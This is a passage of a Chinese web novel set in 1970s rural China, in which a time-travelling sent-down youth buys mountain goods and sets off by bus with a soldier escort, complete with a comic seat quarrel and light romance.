“最上面的都是木耳，木耳下面是蘑菇。蘑菇的种类就多了，不过我让他们都挑着榛蘑和松蘑，不过也有些别的蘑菇，放心，都是没毒的，而且味道也都不错。” 蔡桂琴没说的是这些都是她亲眼看着装袋子的。 程十一抓了抓下巴，看着蔡桂琴问：“那再往下呢？” “再往下？” 蔡桂琴懵了：“就这两种还不够啊？” 程十一也很懵：“不是还有松子榛子啥的吗？” 那可是她的心头爱……之一啊！ 蔡桂琴了然，直接笑了出来：“哈哈哈，你这小丫头知道得还挺多的嘞！不过那个要等秋收之后才能上山采，至于现在家里就算有点存货的，那也都是去年剩下来的，味道大多都不是很好了。” 程十一了然。 同时她也觉得好可惜。 这一批山货带回去确实是要来走人情用，但并不是全部都用来走人情。 她是没打算去闯黑市，可不代表她不打算私下里和其他人交易啊！ 在光荣大队收购，价格很低的，就算是去供销社买，其实价格也是在她能接受的范围内。 要知道这些东西如果是在曾经那个城市买，那价格倒是不至于翻十倍，可翻上个五倍都是轻松加愉快的事。 既然自己都要跑这一趟了，那肯定得赚点小钱钱啊！ 毕竟，大队长他们可压根没提给自己报销路费的事。 要不是自己实在是不想在吭哧吭哧的上工秋收了，她也不会提出这么一个提议来。 拖拉机，商城里就有卖的。 现在的余额确实买不起，但从老王家搜到的钱够啊！ 唯一的麻烦就是要将拖拉机过个明路。 她又不是本地人，唯一有操作空间的方法就是回到曾经生活的城市。 如此，才有了她主动找大队长请假的事。 想法一转就转远了，再看看眼前的四个麻袋，程十一有点牙疼。 要说贵，她所能想到的山货里面，松子这些干果才是最值钱的。 可现在没有新的也没办法，总不能弄陈年的过来，不好吃还是次要，主要是怕有什么不好的物质产生，到时候把人给吃出问题来才是麻烦。 “那，行吧！” 程十一走上前，提了提其中一个麻袋。 麻袋看着大，可实际上并没有很重。 “那我留三袋吧！剩下的那一袋……” 程十一抓了抓下巴：“也留下吧！正好我冬天没菜吃的时候还能当个菜吃。” “不是，闺女，你是不是不知道木耳这玩意儿抓一把就能发一盆出来啊？” 蔡桂琴一听就急了：“你一个人哪里能吃得了这么多啊！再说了，等秋收结束了咱们还会上山找山货，到时候找了新的，再晒干，回头留在冬天吃也够了啊！” 程十一却摇头：“不是我一个人吃，我这不是还有三个邻居呢嘛！他们仨也得吃。” 蔡桂琴还想劝说，可程十一却将话题一转，问：“这些都多少钱？” 即便蔡桂琴没说，可程十一也猜出了个大概了。 要是从整个大队收山货，那数量肯定不止这四麻袋。 再看看这个时间，很有可能是蔡桂琴挑着四个人家凑出来的。 赚钱的事，能被蔡桂琴挑中的人家估计也是关系不错的那种。 左右自己也不是买不起这些山货，自然也想在这种时候做个顺水人情。 再说了，她说是留着自己吃，可是不是真的自己吃，谁知道？ 到时候直接收进系统仓库，回头到回去再一倒手，还是有小钱钱可以赚的嘛！ 就算无法倒手换成小钱钱也没事，等商城开通了卖家权限，这些也都能当做货物出售。 左右亏不了。 蔡桂琴见程十一问得认真，不像是开玩笑，心一横，说道：“行，你这闺女实诚，那婶子也就不和你绕弯子了，一麻袋你给个十块钱就行！” “十块钱？” 程十一傻眼。 不是，这一麻袋，半人多高的麻袋哎，整整一麻袋的干活，就十块钱？ 一麻袋怎么也有五六十斤了吧！就算是木耳蘑菇全都混一起了，可算算均价，一斤连五毛都没有？ 第124章 好能吃的女同志 程十一的震惊落在蔡桂琴的眼里就变成了嫌贵。 蔡桂琴有点为难，犹豫了下，这才试探的问：“那婶子家的这袋子你就给个八块钱吧！这些可都是好的，真的是一点都没掺半点不好的。小程知青，你看这……” 程十一瞬间反应过来，连忙摆手：“不用不用，一袋十块就行。” 婶子这是误会自己嫌贵了啊！ 她真不差这两块钱。 果断回屋，拿出了四十块钱交给了蔡桂琴。 看着四张大团结，蔡桂琴的手都有些抖。 妈呀，这可是四十块钱，大队的社员一年到头的，一年下来全家人能赚个一百来块钱都算是顶勤快的了，没想到就这四袋山货就换来四十。 “那啥，闺女，你赶紧拾掇拾掇，等下我让顾青那小子带着介绍信过来接你。” 蔡桂琴手里拿着钱，心里想着得赶紧给老姐妹们送过去，也让她们跟着高兴高兴。 程十一倒是没意见，将这三人都送出了大门，也不进屋，直接到了陈丽娇家大门口招呼：“娇娇姐，写好了没？山货过来了，你看看你要多少。” 屋里传出陈丽娇的回应后，程十一想了想，又去找两位男知青。 这俩人虽说和她不是一个地方来的，可到底是邻居，问问他们要不要山货，就算不能送货上门，但也可以帮忙邮寄出去不是。 都是小伙伴，程十一不介意帮个小忙。 耿二牛和祝成才听到招呼声就赶了过来，看着四麻袋的山货都傻眼了。 “这么多？” 祝成才搓了搓手，嘿嘿笑：“那分我点，小程知青，你看看多少钱，我给你钱。” “行啊！” 程十一指了指麻袋：“我刚收上来的，一麻袋十块钱，你们要多少自己称吧！对了，要不要帮你们邮寄出去？” “可以吗？那可真是太好了！” 祝成才也不客气，转身就往回跑：“我去拿袋子！” 耿二牛则是想了想，这才说道：“那也给我来点，等会儿我也请假送你去公社。” “不用，我这里有人同路，你和祝成才把地址给我就行，回头邮费啥的，等我回来了再和你们说。” 程十一摆摆手。 她还得把自己的藤条箱子装满呢！ 这一路上吃吃喝喝的，得把能想到的都准备上，要不然偷摸从系统仓库转移出来，万一被顾青发现不对劲可就不好了。 顾青过来的时候只背了一个双肩包，身前斜挂着个水壶，依旧是一身笔挺的军装，看起来很是精神。 来之前就听大队长说了要帮忙背点东西，他也没太当回事。 可当看到三个麻袋后，顾青本来很平静的脸上终于浮现出了皲裂。 “这些都带上？” 顾青有些不确定。 程十一点点头：“昂，就四个袋子。你两个，我一个，成不？” 她只能提一个了，毕竟还有一个箱子呢！ 顾青的舌尖顶在了牙齿上。 他倒是想说不成，可是能说吗？ 大队长说了这个小程知青是要帮大队联系拖拉机的事，哪怕他觉得这事不靠谱，可他也不能不支持啊！ “成！” 顾青闭了闭眼，将介绍信掏出来递给程十一：“这是给你的，你自己拿着，别丢了。” “行，谢谢。” 程十一接过来看了下，嗯，确实是介绍信没错了，自己的名字，还有时间之类的都写得很清楚。 唯一不同的就是八天时间变成了十天。 看来这是怕八天时间来回折腾不够用，所以多给自己批了两天啊！ 好事！ 说是不用耿二牛送，不过真等出门的时候，别说是耿二牛了，就连祝成才和陈丽娇都跟着出来。 一行五个人朝着村口走，路上遇见了不少社员，不过大家都是和顾青打招呼，对于身后的那四个知青倒是只看了看，并没有人主动出声。 这倒也让程十一自在。 陈丽娇之前和社员换的鸡蛋全都煮了，放在一个网兜里，等到了村口了，程十一已经坐上了牛车，她才将鸡蛋塞给程十一：“路上吃。” “不用，我都准备了。” 程十一知道陈丽娇手里的鸡蛋没多少，估摸着不说是全都给自己煮了带上了也差不多了。 陈丽娇却不听她的，将鸡蛋塞到程十一怀里后就后退了几步：“路上注意安全，早点回来。” “昂！” 程十一挥了挥自己的鸡爪子。 不远处还有不少社员在看热闹，好在没人凑上前。 至于等她和顾青离开后，那些人会不会去找大队长询问，那就是不是她该操心的事了。 牛车上，赶车的老汉，顾青，三个麻袋，一个藤条箱子，再就是程十一。 程十一直接趴在一个袋子上闭目养神。 主要是没什么可聊的，再想到接下来的行程都是和顾青一起，她就更觉得生无可恋了。 苍天啊，哪怕是让陈丽娇跟着自己一起也行啊！ 一路晃晃悠悠的到了公社，因着得了顾草根的嘱咐，牛车也和以往不一样了，只要是在公社的范围里，程十一说去哪里，老汉就将牛车赶到哪里。 先去了邮局，将耿二牛和祝成才的两个包裹邮寄出去，又去了国营饭店。 赶车的老汉说什么都不肯留下来吃，最后还是程十一买了两个肉包子给对方包好后，这才目送对方离开。 和顾青对面坐下，两个人是分别买的饭菜。 顾青买了一份青椒土豆丝、西红柿炒蛋，另外三个馒头。 而程十一就显得奢侈多了，看到有红烧肉，直接买了一份，又点了份蛋炒黄瓜片，来了一个大碗的米饭。 顾青看着程十一面前的饭菜，倒是没有什么表情变化，就是在心里感叹了句：好能吃的女同志！ 而程十一则是毫无心理负担的将饭菜吃完，打着饱嗝，满足的走出了国营饭店。 让一让，邀请对方一起吃？ 她客气了下，对方婉拒。 嗯，很好，那就相安无事的各吃各的。 继续邀请什么的是不存在的，毕竟她现在饭量变大了很多，这些也就是她一个人的份量，真邀请对方吃了，自己怕是就得吃不饱。 滤镜什么的在填饱肚子面前，程十一觉得还是后者更重要。 第125章 顾青送礼物 “程同志，稍等下！” 路过供销社时，顾青突然叫住了程十一。 程十一停住脚步，转身看着顾青。 就见顾青朝着供销社的方向抬了抬下巴：“买点东西，你能等我下吗？” “哦，行，那袋子放……” 程十一四处看了看。 得，大街上也都满是泥泞，根本就没有干净的地方能放东西的。 好在顾青已经安排好：“你在供销社门口等我就行，那里有块水泥地面，没那么多泥。” “行，走吧！” 程十一这会儿也是真的要受不了这样的泥泞路了。 就因为地面太泥泞，她现在穿的都是草鞋，还是和别的社员换来的。 这玩意儿脏了就直接用水冲，就算是有破损了，那也比布鞋要省钱。 不过她的挎包里放着干净的布鞋，就等着进了火车站就换下来。 只是现在鞋底沾了厚厚的一层泥，她也想找个干净点的地方将鞋底的泥刮一刮。 这一抬脚，感觉就跟一只脚多了二斤负重似的。 程十一是没什么需要买的了，就在门口看着包裹，顺便用一根小木棍刮鞋底的泥，而顾青则是大步进了供销社。 不多时，人出来了，手里还拿着个油纸包。 油纸包看着不算大，看形状，里面应该是包着长方形的东西。 程十一只看了一眼，也没在意，以为这人是要买点吃的在路上吃。 “这个，你揣兜里，等会儿吃两根，消消食。” 出乎意料的，顾青竟然将油纸包送到了程十一面前。 程十一放下抬起来的脚，又抬头看着面前这个比自己高了很多的男人，一脸不解：“给我的？” “嗯，给你的。” 顾青瞟了一眼程十一的肚子。 看起来瘦，没想到饭量那么大，关键是吃了那么多东西了，这肚子竟然也没有鼓起来的样子。 这一眼很是迅速，顾青继续说道：“我看你中午吃了不少油腻的东西，现在不吃点解腻开胃的东西，我担心你会晕车。” 程十一抓了抓下巴，有点呆。 不是，这男人应该是走糙汉路线的吧？突然搞得这么贴心，她有点不适应喂！ 等等，人家好像之前也挺贴心的。 就比如手电筒那次，就比如送自己回家，就比如…… 不能继续比如下去了。 “这个多少钱，我给你钱。” 程十一也没接油纸包，而是一副要掏钱的样子。 顾青摇头：“不用，这个算我请你的，毕竟路上如果你生病了我还得分神照顾你。不如从根源解决问题，你不难受，我也能轻松些。” 程十一猛地抬头看向顾青。 好家伙，当她听不出来是不是？这人就是在嫌弃她是个拖累啊！ 还真是个狗！男！人！啊！ 顾青被小姑娘那震惊又愤怒的眼神看得一脸懵：“为什么这么看我？” “我可真是谢谢你的好意了！谢谢你八辈祖宗！” 程十一也不想着给钱了，直接将油纸包抢过来塞进自己的挎包里，抓起箱子和一袋子山货，抬脚就朝着车站的方向走。 公社到县里有公交车，下午两点半发车，这会儿他们走过去时间刚刚好。 等到了县里就要住上一个晚上，再赶明天上午前往市里的公交车，然后直奔火车站。 车票应该是能买到的，但有没有座位那就是另外一回事了。 程十一真是越想越糟心，甚至都想不起来顾青的事。 终于赶到了车站，等着上车的队伍已经有十几个人在。 说起来这还是程十一第一次坐这里的公交车，不免有些好奇。 好奇会是什么样的公交车。 不过想到曾经在网上看到的图片，她突然就有点心塞了。 火车上都能上带毛的动物，这公交车怕是也一样吧！ 真想着，就听见人群里传出了一阵高昂的公鸡打鸣。 好家伙，还真是！ 程十一的嘴角抽了抽。 找了一块还算是干净的地方，将麻袋放下，程十一默默的掏出了顾青给的油纸包。 里面是几卷山楂卷，不过是那种长条的，这时候叫果丹皮。 用山楂做的，确实有开胃的功效。 程十一拆开一根叼在嘴里，没几下就全都被她嚼在了嘴里，脸颊被撑起来些，随着她嚼嚼嚼的动作，看起来就像是一只仓鼠。 顾青一直跟在程十一身边，自然看到了这一幕。 也不知道怎么的，顾青突然感觉这个小程知青有点可爱，很想揉一揉她的脑瓜顶。 不过这想法也就是一闪而过，顾青很快就将视线转移，不再去看程十一。 程十一吃了两根果丹皮，刚咽下去，正要拿出水壶来喝口水顺顺，就听见了一阵稀里哗啦的轰鸣声。 一辆公交车缓缓开了过来。 只一眼，程十一就彻底绝望了。 还真是老旧公交车，上面有行李架，而且已经堆放了不少东西。 上车也不讲究秩序，那真是谁有本事抢，那就先上车，抢不过的，那就只能等到最后面。 程十一本来也想抢一抢的，可她个子小，加上又是箱子又是麻袋的，还真抢不过那些人。 “你先上，我将麻袋绑到车上。” 顾青突然说道。 程十一感觉手里一轻，麻袋不见了，被顾青接过去了。 “那，行吧！” 程十一看了看车顶的行李架，果断决定自己不帮忙了。 就她这身高，估摸着就算是踩着梯子都帮不上什么忙，更何况还没有梯子可以用。 没有了麻袋，程十一的动作瞬间变得敏捷了不少。 一顿挤挤挤，程十一终于上了车。 车上的气味不好，除了明显的柴油味外，还有很多奇奇怪怪的味道混杂在一起。 程十一只感觉眼前一黑又一黑。 唯一值得欣慰的就是还有空座，虽然是在最后面，但至少有。 路程不短，要是一直站着，程十一觉得自己真的会哭出来。 赶紧到最后一排，程十一下意识的想要坐到最里面，可是注意到窗户外面的那抹绿色后，她还是默默的坐在了窗旁的第二个位置，然后将自己的藤条箱子放在了里面的位置上。 唉，算了算了，就当自己日行一善，替那个男人占个位置吧！ 第126章 把隔壁大哥震惊出了金鱼眼 “你坐不坐靠窗的位置？你要不坐就把你东西拿起来，我坐里面。” 程十一正拿着手帕擦汗，头顶突然响起一个女人的声音。 程十一也没当回事，只当不是和自己说话，继续低头擦汗。 麻蛋的，都入秋了，咋还能这热呢？ “喂，和你说话呢！” 胳膊突然被人拍了下，程十一猛地抬头，刚好对上了一口大黄牙。 一颗门牙上面还明显沾着一点绿。 程十一只感觉一阵恶心，赶忙放下胳膊，用手帕捂着自己的口鼻瞪着对方：“干啥？” “你坐不坐里面？不坐的话东西拿起来！” 说话的是个四五十岁的妇女，肤色黑黄，但身板子却是一点都不瘦弱，甚至还有点肥。 此时那双不算大的眼睛正瞪着程十一，好像程十一做了多天恨人怨的事似的。 程十一翻白眼：“你管我坐不坐，这是我给我同伴占的地方。” “你同伴？你同伴人在哪呢？人还没上来那就不算数，你赶紧让开，让我进去！” 女人说着就要伸手去抓程十一的箱子。 随着她的动作，哪怕是用手帕遮住了口鼻，可程十一还是闻到了一股狐臭味。 有些人的身上会有这种味道，那是一种病，是无法控制的。 但眼前这人明显不是这样。 就冲着那一口大黄牙，还有门牙上的一点绿就知道这人就是不讲卫生。 “你干什么？” 程十一当即狠狠的拍了下对方伸过来的手。 女人吃痛，瞬间将手收了回去，更加愤怒的嚎叫：“我说这个小姑娘是咋回事？好好的咋还动上手了？咋就这么没素质呢？” “我没素质？” 程十一被气笑了，不过还是更加用力的捂住了口鼻。 太熏人了！ “我上车的时候可是有不少人都这样给同伴占座，再说了，前面还有不少空座，你咋就非得来我这里？” 程十一可不怕得罪其他人。 要知道她上车的时候还真就有不少双人的位置还有座位呢！ 可是那些人一看到自己看过去，那真是恨不能直接给自己一个后脑勺。 程十一也不是那没见过世面的人，哪能不知道人家是在占座啊！ 这也就是后面还有空座，要不然她刚刚怕是就要吵吵起来了。 只是没想到她没吵吵，反倒有人过来和她吵吵了。 “哪还有位置了？” 女人自然也知道程十一说的都是真的，可是那些占座的人一看就是不好惹的，哪里像这个，年纪不大，个头不大。 小姑娘脸皮薄，真要吵吵开了，别说是一个座位了，怕是连她坐着的这个位置都坐不下去。 程十一嗤笑：“大娘，你这是着急去县里的医院吧？” 突然的话题转换让女人一愣，显然是没反应过来，不过还是下意识的点头：“是啊，你咋知道的？” “你眼睛瞎，还这么着急坐车去县里，不是看眼睛难道是去看脑子？” 程十一的话音刚落，坐在附近的几个客人里就有人没忍住噗嗤一下笑了出来。 这姑娘说话可真够给劲的。 女人终于反应过来了，当即气得挥起手就要去扇程十一。 而程十一也不是吃素的。 她虽说不是有多好的身手，但怎么说也是在末世里面和人为了一口吃的玩过命的人，哪能老老实实的等着被揍？ 抬手一挡，另外一只手同时挥出去。 只听见啪的一声脆响。 一瞬间，原本喧闹的车厢里都安静下来了。 只是这安静的气氛还没持续超过两秒钟，下一声脆响又响起。 挥出去的两个大比兜，程十一将挡住对方胳膊的手猛地往前一推。 女人重心不稳，往后退了一步，直接跌坐在斜对面坐着的大哥腿上，瞬间就换来了大哥嗷的惨叫声。 “啊！你干啥啊？耍！流！氓！啊！” 这大哥的嗓门太过嘹亮，震得人脑瓜子嗡嗡的。 程十一也是没想到会误伤到斜对面的那位大哥，一时间还有点小心虚。 不过大哥也不是吃素的，嘴上喊着，动作也很迅速，直接将人给推开了。 女人又被推了下，这下是冲着大哥过道对面坐着的老太太去的。 老太太看着年纪不小了，但反应速度也不是盖的，竟然一爪子挥了过去，还嗷嗷的叫：“妈呀妈呀！” 两个耳刮子是疼，但是来得突然，女人直接被打懵了。 刚要反应过来什么，就被老太太的手在脸上抓了一下。 瞬间，脸上直接多出来了三道血印子。 程十一是怎么都没想到坐在自己面前的老太太这么给力，就那么一抓，就抓出了血印子。 啧，真是看着都疼。 真不知道老太太这九阴白骨爪是怎么练的，要不等会儿取取经？ 被挠了脸的女人这下终于不是坐在别人身上了，而是踉跄了下直接跌坐在地上，嗷的一下就哭了起来。 哭声那叫一个惊天地，泣鬼神。 终于，前面的售票员被吸引过来了，嘴里还骂骂咧咧的。 程十一快速在兜里摸了下，摸出了一盒胭脂。 嗯，还是一盒用了大半的。 别问，问就是从王娇娇的房间里找到的。 三根手指抹了一下胭脂，然后快速的在自己的两侧脸颊分别滑了一下。 很好，脸上瞬间浮现出了六道红色印记。 一旁坐着的男人直接看傻眼了。 不是，还能这么操作的吗？ 刚刚身边的小姑娘打人就已经让他很震惊了，没想到竟然还能看到更震惊的。 关键是光这样还不算，这小姑娘还快速的用手背抹了抹眼睛，那眼睛周围就红了一片。 男人的眼睛瞪得更大了，心里连着高喊“窝草”。 程十一做完这些后就感觉到了身边的视线，刚好对上了男人几乎要瞪成金鱼眼的样子。 眨了眨眼睛，程十一咧嘴一笑，又快速收回表情，做出了一副期期艾艾的神情看向了走过来的售票员。 “同志，她，她要抢我位置，还打我。” 程十一那委屈兮兮的语调，再配上脸上的红印子和通红的眼眶，看起来活脱脱的就是一个被欺负的小可怜。 除了身边金鱼眼的男人外，其他人都在第一时间认定了刚刚的那两个清脆巴掌声就是这闺女挨揍了。 第127章 论九阴白骨爪是如何练就的 “我说你这人咋回事？抢座还打人，你到底要不要坐车了？不坐车就赶紧下去！” 售票员二话不说就对着坐在地上的女人开始教训，甚至还动手扯人起来。 女人是想反抗的，可是在看到售票员脖子上挂着的东西后，又不敢反抗了，但嘴里还在说着自己被打了，被冤枉了之类的话。 奈何没人信啊！ 唯一一个相信的金鱼眼大哥此时已经将视线默默的瞥向了窗外。 他可不想掺和进来。 那个女人有错在先，更何况身边这小丫头也不是个简单的，就冲着那一套操作就知道不好惹。 终于，找茬的女人被轰下车去了。 别问，问就是除了金鱼眼大哥外，车上的其他人都是一致的要让人下车。 售票员更是拿出了直接去报警的话，找茬的女人终于再也受不了，哭唧唧的下车了。 随着她的下车，程十一只感觉空气都变得清新了不少。 不过想到那个女人身上散发出来的味道，她还是感觉有点恶心，甚至感觉自己扇人的那只手都沾满了脏污。 当即将两只手全都伸进兜里，拿出了一张湿巾，就这么偷偷摸摸的反复将手擦了好几遍，这才重新拿出来。 等到车上已经不上人了，眼看着都快开车了，顾青这才上来。 身上带着点褶皱，应该是爬上爬下造成的。 人上车后就朝着车里面看，那样子似乎在找人。 程十一刚要也抬头，对上了顾青的视线。 招了招手，程十一说道：“这里！” 随着她的声音，大家原本都在看绿军装的视线直接齐刷刷转移到了车的末端。 顾青点点头。 此时车上已经没有空座了，甚至连过道上都站着不少人。 原本顾青是不想穿过去的，毕竟他是军人，能不麻烦人就不麻烦人。 谁知站在过道里的人在看到是程十一在打招呼后，竟然默契的侧开身，愣是让出了一条路。 顾青有点诧异，没想到老乡们竟然这么主动让路。 一边往后面走，顾青还一边和两侧的人说谢谢。 等到了最后一排，看到程十一已经挪到了靠窗的位置。 想到车上还有不少人在站着，顾青下意识的就想说自己站着就行，谁知一旁的大哥却说道：“军人同志，你快坐下吧！” 说着，这人还伸手扯了下顾青的胳膊。 顾青直接被拽得稍微弯了下腰，刚要重新站好，就又听后面有人催促：“是啊，军人同志，你快坐吧！你对象都给你占好位置了，别辜负了人家小姑娘的一片心意。” 你对象？ 程十一和顾青都是一愣。 顾青连忙摆手：“不是的，我们不是对象。” 程十一则是眨巴眨眼，看向说“对象”的那个人。 是刚刚被坐腿的大哥。 不是，这大哥啥眼神啊？ 她和顾青？对象？ 顾青这人看起来得有二十五六岁了吧，可她看起来……最多也就只有十五六岁的样子。 这样的年龄差，咋能看成是一对的？ 顾青的解释是说出来了，可车上的其他人却像是被打开了开关键似的，纷纷催着让他坐下。 这下好了，顾青的解释直接被淹没。 程十一嘴角抽了抽。 真是没看出来，这一车的人好像都挺有当红娘天分的。 “你赶紧坐吧！” 程十一没好气的说道：“车票我已经买好了，马上要开车了。” 顾青神色复杂的看了一眼程十一，最后还是乖乖的坐下了。 虽说自己和金鱼眼大哥中间多了一个人，不过想到自己刚刚的一番操作被金鱼眼大哥看了个全程。 嗯，应该多多少少的表示一下感谢人家没有揭老底吧！ 于是程十一在兜里摸了摸，摸出了四个青皮橘子。 这橘子如果放在前世，第一眼给人的感觉就是酸。 可实际上这种橘子的酸甜度很完美。 酸里带甜，甜里裹酸，橘子味还特别浓，很好吃。 程十一将其中一个直接放在了顾青的手里。 还不等顾青拒绝，程十一已经伸长了胳膊，将另外一个橘子送到了金鱼眼大哥跟前：“大哥，吃个橘子。” 金鱼眼大哥的眼睛又瞪起来了。 看看那个橘子，再看看程十一，金鱼眼大哥总感觉心里突突的。 “吃啊！” 程十一咧嘴笑，笑得那叫一个天真无辜又可爱。 金鱼眼大哥赶紧摇头摆手：“不，不用了，我，我不爱吃这个。” “你不吃那就留着回头给你家我嫂子吃呗！吃吧！别客气。” 程十一见对方不接，也不伸着胳膊了，直接将橘子朝着对方一抛。 金鱼眼大哥下意识的接住。 本来想还回去的，可程十一已经不看他了。 反正收了她的礼物，那就算是表示过感谢了。 接下来程十一伸手拍了拍前面坐着的老太太肩膀。 老太太明显被吓了一跳，刚要回头瞪人，就看到一个青皮橘子出现在自己眼前。 愣了愣，老太太没接，而是看向了橘子的主人，对上了一双乌溜溜的大眼睛，这会儿正笑着看着她。 “大娘，吃个橘子，不吃的话闻闻味儿也行，省得晕车。” 程十一又将橘子往前递了递。 老太太的脸色不是很好，好像在隐忍什么，刚刚上车的时候程十一就看见了。 不过这可不是她主动送橘子的目的。 这个橘子送出去的原因是，程十一很想知道对方的九阴白骨爪是怎么练出来的。 就那么一下子就给人挠出了血印子，啧，她想学！特别想学！ “谢谢了，小同志，我闻闻就行，等会儿下车了就还你。” 老太太也笑了，同时将橘子接了过来。 随着她接橘子的动作，程十一的瞳孔都没控制住的地震了下。 这下不用问对方是怎么练出来的九阴白骨爪了。 看着对方那黑黄的手指甲，尤其是那明显长了不少的指甲盖，程十一明白了。 果然，练九阴白骨爪的人就没有一个是不留指甲的。 唯一的区别是，人家周芷若的指甲是白的，而眼前这位老太太的指甲，是黑的。 就这么一眼，程十一就知道，自己不是练九阴白骨爪的料了。 还是练练别的技术吧！比如扇人耳刮子啥的，这个虽然有点费手掌心，但好歹看着干净啊！ 第128章 靠着兵哥的肩膀睡着了 顾青看着程十一这自来熟的模样都有些无奈。 不是说城里来的知青一个个的都很有脾气的吗？不说是全都看不起乡下人的样子吧，但好像也没有像小程知青这种的吧！ 简直是……见了路边的狗怕是都能聊上两句。 前面的大娘得了橘子，本来是不打算吃的，也是真想着等下车了就还给后面的小姑娘。 可随着车子启动，那种摇晃的感觉刚开始还好，但等出了公社，路面变得颠簸，大娘那脸色就越发的难看。 再闻到一股子橘子的香味，大娘下意识的咽了咽口水。 她老早就听说过坐车晕车的话闻闻橘子皮就能舒服不少，可是这橘子的卖相一看就不错。 再想到供销社里卖的苹果，大娘就知道这橘子的价格肯定不便宜。 要不……自己先吃了，回头直接给小姑娘钱？ 晕车的感觉太痛苦，大娘最终还是忍不住，侧身顺着缝隙看向后面。 就见小丫头小脸蛋儿红扑扑的，正一瓣一瓣的往嘴里送橘子。 光是看着她吃，大娘都感觉舒服了不少。 程十一也注意到了前面大娘在看自己，就歪头问：“大娘，有事？” “小同志，那个，这个橘子你是花多少钱买的？我回头给，给你钱吧！” 大娘还有点不好意思。 程十一摆手：“不用，不是花钱买的，是一个老乡送的，给您了，您就吃吧！不碍事。” “那，那行吧！” 大娘也是真的难受得不轻，索性也就不坚持了：“那你叫啥，住哪个大队，大娘回头去看你。” “我叫程十一，是光荣大队的下乡知青。” 程十一说完还咧嘴一笑，看起来别提有多真诚，活脱脱的就是个不谙世事的小姑娘。 大娘重复了两遍，点点头：“行，我姓阮，你叫我阮大娘就行，我住前进大队，离你们光荣大队不远。” “好嘞，阮大娘，回头你来找我玩。” 程十一从善如流的应答着。 很快，她就闻到了橘子味，看样子大娘终于是肯吃橘子了。 这样就挺好。 虽然没学到九阴白骨爪，可这阮大娘看起来人还挺不错的。 尤其是程十一注意到这位老太太的脸色不太好，很有可能是要晕车。 这车上的气味已经够让人销魂的了，程十一也是真不想坐在一个晕车人的后面，万一对方吐了，那自己咋办？ 是跟着吐？还是跟着吐？ 坐在顾青另外一侧的金鱼眼大哥已经不知道该说什么好了。 看看那位老太太吃着的橘子，再看看自己手里的橘子，最后还是没舍得吃，但也没再像是抱着什么危险物品似的，反而小心翼翼的放进了自己的挎包里。 顾青自然也是看了到了全程，同样低头看了看自己手里的橘子。 鼻尖还有身边小姑娘吃橘子时散发出来的香味儿，莫名的，顾青也有点馋了。 不过顾青忍住了，想着小姑娘肯定都喜欢吃水果，可这玩意儿也不是什么想买就能买到的东西，还是留着吧！万一小姑娘自己的吃完了，自己的这个就还给她。 只是让顾青万万没想到的是，程十一吃完了自己手里的橘子后，那小爪子伸进挎包里摸了摸，又摸了一个橘子出来。 看着那鼓鼓囊囊的挎包，顾青的嘴角忍不住抽了抽。 好家伙看，那挎包里不会放的全都是橘子吧！ 又看了看小丫头吃橘子的样子，顾青皱眉。 刚刚上车的时候就感觉这丫头好像有哪里不对劲，现在离着近了，也终于发现问题了。 “你身体不舒服？” 顾青突然出声，虽然声音不大，也还是吓了程十一一跳，就连嚼嚼嚼的动作都是一顿，随即摇头：“没有啊！” 没有？ 顾青狐疑的看了看程十一的脸颊：“那你的脸怎么这么红？” 比刚刚上车前可是红了太多了。 程十一眨眨眼，用手背蹭了蹭脸颊，心里嘀咕着：不是已经用手帕擦过了吗？难道没擦干净？ 自己手动画出来的印子早在那个女人被赶下车后就被她用手帕擦掉了。 只不过不好凭空拿出个镜子来对着擦，只能是凭感觉。 看顾青这严肃的样子，程十一确定自己肯定是没擦干净。 低头看看手背，果然还有点红色的印记。 “哦，没事，你吃橘子，我这里还有，不用担心不够吃。” 程十一果断选择岔开话题。 至于脸上残留的胭脂……算了，就留着吧，要不然擦得太干净了，等下万一车上的其他人看到了再起疑心咋办？ 虽说都是陌生人，可谁让她懒呢？ 顾青抿着唇，见程十一一边吃橘子一边看窗外，完全不看自己，他也无奈，只能是闭上眼睛，靠着椅背，身体随着车体的晃动而微微晃着。 程十一吃了两个橘子，又嚼了根果丹皮，终于住嘴了。 本来午饭就吃得饱，再吃这么多东西，程十一感觉再吃，她肯定得难受。 拿出口罩，放了几块橘子皮在里面，然后戴在脸上。 嗯，很好，虽然呼吸受了一丢丢影响，那那股子橘子皮的气味却遮掩了大部分车厢里的复杂气味。 看了一眼顾青，见这人已经睡着了，程十一也靠着椅背闭上了眼睛。 路途还挺长的，窗外的风景也没啥新鲜的了，还是闭目养神吧！ 只是闭着闭着，程十一就真的睡着了。 顾青只感觉一侧的肩膀一沉，正要睁开眼，闻到的气味里就多出了一股淡淡的香味儿。 不是肥皂的香味儿，更不是什么洗衣粉的香味儿，说不出到底是什么花香还是水果香，总之很好闻，还有点甜。 睁开眼，微微侧头，就看到一颗毛茸茸的脑袋。 大概是戴着口罩不是很舒服的关系，毛茸茸脑袋的主人抬起小手揉了揉，只是揉了个寂寞，又用力的吸了口气，还扭了扭脑袋，似乎在寻找更舒服的姿势。 顾青有点傻眼。 不是，这姑娘就这么睡着了？ 虽说他们俩是一个大队出来的，大队长也说了让自己多照看些，可俩人说到底也不过是见过几面的人吧！ 说的话甚至都没超过十句，这丫头就这么放心的靠着自己睡着了？ 心咋这么大嘞！ 第129章 关她程十一小同志什么事？ 程十一是被人叫醒的，声音不大，但距离很近。 猛地惊醒，程十一的眼中闪过警惕，甚至是杀意。 顾青一怔。 他怀疑自己的眼睛是不是出了问题，怎么这个小丫头的眼睛里竟然会有杀意？ 程十一很快就清醒过来，眨了下眼睛，里面的情绪瞬间消失不见，取而代之的是刚睡醒的茫然。 “啊？到地方了吗？” 程十一说着还打了个哈欠，结果因为没防备，嘴一张开，一块橘子皮直接进了嘴。 “呸呸呸！” 程十一赶忙扯开口罩，将嘴里的橘子皮吐了出来。 麻蛋的，睡迷糊了，都忘了自己戴口罩这事了。 顾青觉得刚刚的那一刹那一定是自己的错觉，就这么一个小丫头，怎么可能会有那样的杀意？ “嗯，已经进站，马上都要下车。” 顾青见程十一已经坐好，这才不着痕迹的动了动被压的肩膀。 这一路上怕这丫头睡不安稳，他可是半点都没敢乱动。 程十一哦了声，看向窗外，果然，窗外的风景已经不再是大片的荒草地和树木，而是有了房屋。 也有楼房，但最多的也就三四层，基本上还是以平房为主。 窗外的天色也暗了下来。 “等下先去招待所，然后再去吃饭。” 顾青说道。 程十一点点头，表示没意见。 反正这一路上有顾青在，不方便的时候是有，但方便的时候也是挺多的。 比如坐车，比如找路，比如住宿，比如吃饭这些活她都很省心。 就是现在的脖子有些不舒服。 